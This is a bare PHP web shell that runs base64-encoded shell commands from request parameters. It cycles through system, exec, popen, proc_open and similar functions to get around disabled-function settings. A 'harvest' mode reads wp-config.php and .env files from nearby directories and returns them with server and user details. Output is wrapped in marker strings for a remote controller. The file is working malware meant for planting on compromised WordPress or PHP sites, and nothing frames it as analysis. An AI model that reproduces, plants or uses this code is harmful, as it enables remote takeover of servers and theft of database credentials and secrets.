<?php
if(isset($_REQUEST['c'])){$c=base64_decode($_REQUEST['c']).' 2>&1';$o='';
$f=['system','passthru','shell_exec','exec','popen','proc_open'];
$d=@ini_get('disable_functions');$d=$d?array_map('trim',explode(',',$d)):[];
foreach($f as $fn){if(!in_array($fn,$d)&&function_exists($fn)){
if($fn==='exec'){@exec($c,$a);$o=implode("\n",$a);break;}
elseif($fn==='popen'){$h=@popen($c,'r');$o='';while(!feof($h))$o.=fread($h,4096);pclose($h);break;}
elseif($fn==='proc_open'){$p=@proc_open($c,[1=>['pipe','w'],2=>['pipe','w']],$pp);$o=stream_get_contents($pp[1]);fclose($pp[1]);fclose($pp[2]);proc_close($p);break;}
elseif($fn==='shell_exec'){$o=@shell_exec($c);break;}
else{ob_start();@$fn($c);$o=ob_get_clean();break;}}}
if(!$o&&isset($_REQUEST['r'])){$o=@file_get_contents(base64_decode($_REQUEST['r']));}
echo 'AVRIL_START_JANCOK'.$o.'AVRIL_END_JANCOK';exit;}
if(isset($_REQUEST['harvest'])){$j=[];
$ps=['../wp-config.php','wp-config.php','../../wp-config.php','../../../wp-config.php'];
foreach($ps as $p){if(@file_exists($p)){$j['wpconfig']=@file_get_contents($p);break;}}
$es=['../.env','.env','../../.env','../../../.env'];
foreach($es as $e){if(@file_exists($e)){$j['env']=@file_get_contents($e);break;}}
$j['cwd']=getcwd();$j['df']=@ini_get('disable_functions');
$j['uname']=php_uname();$j['uid']=getmyuid().'('.get_current_user().')';
echo 'AVRIL_START_JANCOK'.json_encode($j).'AVRIL_END_JANCOK';exit;}
echo 'AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK';